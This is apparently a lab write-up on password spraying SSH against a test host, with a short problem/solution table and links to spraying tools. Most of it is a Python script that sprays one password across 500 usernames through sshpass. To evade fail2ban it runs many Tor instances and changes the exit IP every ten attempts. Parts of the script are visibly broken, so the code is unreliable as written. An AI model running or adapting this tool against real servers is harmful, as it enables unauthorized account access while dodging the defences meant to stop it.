

# Password Spraying SSH

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My first impressions was to make a to iteration over the 500 users, but time is now the problem. By iterating over 500 users and an average running time of 20s each command, I need 10000s or 166.6min to go over all. A solution for this is grabbing the secret from https://... site or make the script parallel. I decided to make it parallel.

## Challange and solution

Problem	Solution
500 User to iterate	foreach
fail2ban	IP change, every 10 requests, fail2ban bypass (sshdodge?)
time	parallel, multiple tor instances

## Research links

- <https://github.com/Neetx/sshdodge>
- <https://github.com/byt3bl33d3r/SprayingToolkit>
- <https://github.com/Greenwolf/Spray>

## Script main.py

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#!/usr/bin/python

import time
import os
import threading
import subprocess
import shutil
from stem import Signal
from stem.control import Controller

attempts = 10
count_per_thread = 100
user = {
    'prefix': 'user_',
    'min': 100000,
    'max': 100500
}

target = 'pwspray.vm.vuln.lan'
target_ip = '152.96.6.197'
target_port = '22'
password = 'db1ef3d4'
tor_password = 'secret'
tor_hashedPassword =
'16:70F66D5481A375DD60D4BEE8D529FC73DDFFEA1D7220E698A45AB28F73' # password =
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secret
success = False
initial_controlPort = 9051
initial_sockPort = 9050
tor_folder = './tor'
proxychains_folder = './proxychains'

class Commander(threading.Thread):
    def __init__(self, min, max, sockport, controlport):
        threading.Thread.__init__(self)
        self.min = int(min)
        self.max = int(max)
        self.count = 1
        self.controlPort = controlport
        self.sockPort = sockport
        self.sproc = createTorInstance(self.sockPort, self.controlPort)
        self.proxychainfilepathconfig = createProxyChainConfig(self.sockPort)

    def run(self):
        for i in range(self.min, self.max):
            if self.count == attempts:
                renew_tor_ip(self.controlPort)
                self.count = 1
            runCommand(generateUsername(i), self.proxychainfilepathconfig)
            self.count += 1
            if (success):
                break
        killTor(self.sproc)

    def renew_tor_ip(controlport):
        with Controller.from_port(port=controlport) as controller:
            controller.authenticate(password="secret")
            controller.signal(Signal.NEWNYM)
            print('new IP')
            time.sleep(10)

    def generateUsername(i):
        return user.get('prefix') + str(i)

    def runCommand(un, proxychainconfigpath):
        print('Try: ' + un)
        command = 'proxychains4 -q -f ' + proxychainconfigpath + ' sshpass -p ' +
        password + ' ssh -o ConnectTimeout=20 -o StrictHostKeyChecking=no ' + un + '@' +
        target_ip + ' -p ' + target_port
        errorcode = os.system(command)
        if errorcode == 0:
            print('-----\n',
            'success with: ' + un + '\n',
            '-----')

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    global success
    success = True
    exit()

def killTor(sproc):
    sproc.kill();

def createTorInstance(sockport, controlport):
    filename = 'torrc.' + str(sockport) + '.' + str(controlport)
    filepath = tor_folder + '/config/' + filename
    datadirectory = tor_folder + '/dir/tor.' + str(sockport) + '.' +
str(controlport)
    if os.path.exists(filepath):
        os.remove(filepath)

    if os.path.exists(datadirectory):
        shutil.rmtree(datadirectory)

    f = open(filepath, 'x')
    lines = [
        'ControlPort ' + str(controlport) + '\n',
        'SocksPort ' + str(sockport) + '\n',
        'DataDirectory ' + datadirectory + '\n',
        'HashedControlPassword ' + tor_hashedPassword + '\n'
    ]
    f.writelines(lines)
    f.close()
    return subprocess.Popen('tor -f ' + filepath, shell=True)

def createProxyChainConfig(sockport):
    filename = 'proxychains.' + str(sockport)
    filepath = proxychains_folder + '/' + filename
    if os.path.exists(filepath):
        os.remove(filepath)
    f = open(filepath, 'x')
    lines = [
        'strict_chain\n',
        'tcp_read_time_out 15000\n',
        'tcp_connect_time_out 8000\n',
        '[ProxyList]\n',
        'socks4 127.0.0.1 ' + str(sockport) + '\n'
    ]
    f.writelines(lines)
    f.close()
    return filepath

def is_port_in_use(port):
    import socket
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

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        return s.connect_ex(('localhost', port)) == 0

def createDirIfNotExist(path):
    if not os.path.exists(path):
        os.makedirs(path)

thread_count = (user.get('max') - user.get('min')) / count_per_thread
start_controlPort = initial_controlPort
start_sockPort = initial_sockPort
threads = []
print('Count of Threads: ' + str(thread_count))
time.sleep(5)

createDirIfNotExist(tor_folder)
createDirIfNotExist(tor_folder + '/config')
createDirIfNotExist(tor_folder + '/dir')
createDirIfNotExist(proxychains_folder)

for i in range(0, int(thread_count)):
    thread_min = user.get('min') + count_per_thread * i
    thread_max = user.get('min') + count_per_thread * (i + 1)

    while is_port_in_use(start_controlPort) & is_port_in_use(start_sockPort):
        start_controlPort += 1
        start_sockPort += 1

    print('Thread No: ' + str(i) + ', MIN: ' + str(thread_min) + ', MAX: ' +
          str(thread_max) + ', SOCKPORT: ' + str(
            start_sockPort) + ', CONTROLPORT: ' + str(start_controlPort))
    threads.append(Commander(thread_min, thread_max, start_sockPort,
start_controlPort))
    start_controlPort += 2
    start_sockPort += 2
time.sleep(30)
for thread in threads:
    thread.start()

for thread in threads:
    thread.join()

os.system('killall tor')
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